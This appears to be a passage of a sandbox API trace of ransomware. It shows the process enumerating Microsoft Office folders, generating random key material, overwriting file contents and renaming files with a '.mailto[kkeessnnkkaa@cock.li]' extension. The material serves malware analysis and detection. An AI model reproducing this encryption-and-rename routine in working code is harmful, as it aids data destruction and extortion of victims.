	[0091.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif")) returned 0x220
	[0091.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF", dwFileAttributes=0x20) returned 1
	[0091.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1554
	[0091.376] GetFileSizeEx (in: hFile=0x1554, lpFileSize=0x1873fc48 | out: lpFileSize=0x1873fc48*=5999) returned 1
	[0091.376] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x176b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.376] ReadFile (in: hFile=0x1554, lpBuffer=0x1873fbcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1873fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1873fbcc*, lpNumberOfBytesRead=0x1873fbc8*=0x4, lpOverlapped=0x0) returned 1
	[0091.380] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319c0
	[0091.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c68
	[0091.380] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0091.380] NtQuerySystemTime (in: CurrentTime=0x1873fba8 | out: CurrentTime=0x1873fba8*=132251868181190536) returned 0x0
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x1db25498
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x3a1bdf27
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xab41f8fd
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x7a5a30ae
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x6cdb1244
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xa55b8e46
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x6abc9004
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xd1e24975
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x76fd1e98
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x13e733e6
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x8642c014
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xb739bdcd
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x45a98356
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x824944c5
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x3a4619cb
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xce950805
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xfb8a72c6
	[0091.380] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xda759763
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xf553060a
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x422d3ba5
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x445958a0
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x5ca7507a
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xae204f9b
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x8070998b
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x3e8c938c
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xc069fc1b
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xc609c841
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x5cbaaa24
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x71aa196
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x3580dc13
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0xd23a17e
	[0091.381] RtlRandom (in: Seed=0x1873fbb4 | out: Seed=0x1873fbb4) returned 0x97067ea7
	[0091.389] ReadFile (in: hFile=0x1554, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x176f, lpNumberOfBytesRead=0x1873fba4, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x1873fba4*=0x176f, lpOverlapped=0x0) returned 1
	[0091.537] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.537] WriteFile (in: hFile=0x1554, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x176f, lpNumberOfBytesWritten=0x1873fba0, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x1873fba0*=0x176f, lpOverlapped=0x0) returned 1
	[0091.558] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0091.558] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319c0
	[0091.559] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319c0) returned 1
	[0091.559] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.559] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.559] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.559] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0091.559] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d77ea0
	[0091.559] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.559] WriteFile (in: hFile=0x1554, lpBuffer=0x4790b40*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1873fc08, lpOverlapped=0x0 | out: lpBuffer=0x4790b40*, lpNumberOfBytesWritten=0x1873fc08*=0x109, lpOverlapped=0x0) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d781a0) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319c0) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731c68) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.567] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318f8) returned 1
	[0091.567] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12c68
	[0091.567] wcscpy (in: _Dest=0x2e12c68, _Source="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF"
	[0091.567] wcscat (in: _Dest=0x2e12c68, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.567] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1873fbc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.567] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491d448
	[0091.568] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d448) returned 1
	[0091.568] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f290) returned 1
	[0091.568] NtQueryInformationFile (in: FileHandle=0x1554, IoStatusBlock=0x1873fbcc, FileInformation=0x1873fba4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1873fbcc, FileInformation=0x1873fba4) returned 0x0
	[0091.568] NtSetInformationFile (FileHandle=0x1554, IoStatusBlock=0x1873fbcc, FileInformation=0x1873fba4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.569] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12c68) returned 1
	[0091.569] FlushFileBuffers (hFile=0x1554) returned 1
	[0093.274] CloseHandle (hObject=0x1554) 

Thread:
	id = 650
	os_tid = 0x1954

	[0078.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86f18
	[0078.176] wcscpy (in: _Dest=0x2d86f18, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates") returned="C:\\Program Files\\Microsoft Office\\root\\Templates"
	[0078.176] wcscat (in: _Dest=0x2d86f18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\"
	[0078.176] wcscat (in: _Dest=0x2d86f18, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\*"
	[0078.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2a58
	[0078.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\*", lpFindFileData=0x47a2a58 | out: lpFindFileData=0x47a2a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7690
	[0082.024] wcscmp (_String1=".", _String2=".") returned 0
	[0082.024] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47a2a58 | out: lpFindFileData=0x47a2a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.024] wcscmp (_String1="..", _String2=".") returned 1
	[0082.024] wcscmp (_String1="..", _String2="..") returned 0
	[0082.024] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47a2a58 | out: lpFindFileData=0x47a2a58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0082.025] wcscmp (_String1="1033", _String2=".") returned 1
	[0082.025] wcscmp (_String1="1033", _String2="..") returned 1
	[0082.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04978
	[0082.025] wcscpy (in: _Dest=0x2e04978, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates") returned="C:\\Program Files\\Microsoft Office\\root\\Templates"
	[0082.025] wcscat (in: _Dest=0x2e04978, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\"
	[0082.025] wcscat (in: _Dest=0x2e04978, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033"
	[0091.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83120
	[0091.372] wcscpy (in: _Dest=0x2d83120, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033"
	[0091.372] wcscat (in: _Dest=0x2d83120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\"
	[0091.372] wcscat (in: _Dest=0x2d83120, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*"
	[0091.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f230
	[0091.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*", lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b468
	[0091.375] wcscmp (_String1=".", _String2=".") returned 0
	[0091.375] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb571036, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.379] wcscmp (_String1="..", _String2=".") returned 1
	[0091.379] wcscmp (_String1="..", _String2="..") returned 0
	[0091.379] FindNextFileW (in: hFindFile=0x477b468, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1
	[0091.379] wcscmp (_String1="Access", _String2=".") returned 1
	[0091.379] wcscmp (_String1="Access", _String2="..") returned 1
	[0091.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498cd78
	[0091.379] wcscpy (in: _Dest=0x498cd78, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033"
	[0091.379] wcscat (in: _Dest=0x498cd78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\"
	[0091.379] wcscat (in: _Dest=0x498cd78, _Source="Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access"
	[0091.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7e) returned 0x498c2d8
	[0091.379] wcscpy (in: _Dest=0x498c2d8, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access"
	[0091.379] wcscat (in: _Dest=0x498c2d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\"
	[0091.379] wcscat (in: _Dest=0x498c2d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*"
	[0091.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031648
	[0091.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\*", lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2a8
	[0091.535] wcscmp (_String1=".", _String2=".") returned 0
	[0091.535] FindNextFileW (in: hFindFile=0x477b2a8, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.535] wcscmp (_String1="..", _String2=".") returned 1
	[0091.535] wcscmp (_String1="..", _String2="..") returned 0
	[0091.535] FindNextFileW (in: hFindFile=0x477b2a8, lpFindFileData=0x5031648 | out: lpFindFileData=0x5031648*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11300d, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessparts.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0091.535] wcscmp (_String1="accessparts.xml", _String2=".") returned 1
	[0091.535] wcscmp (_String1="accessparts.xml", _String2="..") returned 1
	[0091.535] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7fb98
	[0091.535] wcscpy (in: _Dest=0x2d7fb98, _Source="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access"
	[0091.535] wcscat (in: _Dest=0x2d7fb98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\"
	[0091.535] wcscat (in: _Dest=0x2d7fb98, _Source="accessparts.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml") returned="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml"
	[0091.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml")) returned 0x220
	[0091.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", dwFileAttributes=0x20) returned 1
	[0091.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x156c
	[0091.536] GetFileSizeEx (in: hFile=0x156c, lpFileSize=0x187bfce4 | out: lpFileSize=0x187bfce4*=1126413) returned 1
	[0091.536] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x113009, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.536] ReadFile (in: hFile=0x156c, lpBuffer=0x187bfc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x187bfc64, lpOverlapped=0x0 | out: lpBuffer=0x187bfc68*, lpNumberOfBytesRead=0x187bfc64*=0x4, lpOverlapped=0x0) returned 1
	[0091.549] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.549] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0091.549] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.549] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0091.549] NtQuerySystemTime (in: CurrentTime=0x187bfc44 | out: CurrentTime=0x187bfc44*=132251868182909285) returned 0x0
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xec7c7c6c
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xfb6a21fd
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x9281ae60
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xf233963d
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x8f9d9f85
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x26a58a2b
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x14b420ec
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x53a64d78
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xec637c15
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xcf9e8d7b
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x2ef22b0e
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xe7217b07
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x39a770a7
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x1c57aef9
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xf18808f
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x43375af9
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xc7ee73de
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x1ca964b3
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x295e911b
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xd2b4f8a9
	[0091.549] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xb3ebe56b
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x63ecfa0a
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xcf30f391
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xf7ee2bc3
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xc5a79e0d
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xbfd65d2d
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x8b294c6a
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x63c8a2ce
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0xcb26193d
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x7688e7c3
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x61574735
	[0091.550] RtlRandom (in: Seed=0x187bfc50 | out: Seed=0x187bfc50) returned 0x2d1c3de2
	[0091.558] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.558] ReadFile (in: hFile=0x156c, lpBuffer=0x50ca0a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x187bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesRead=0x187bfbfc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.563] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.563] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0091.563] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.563] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
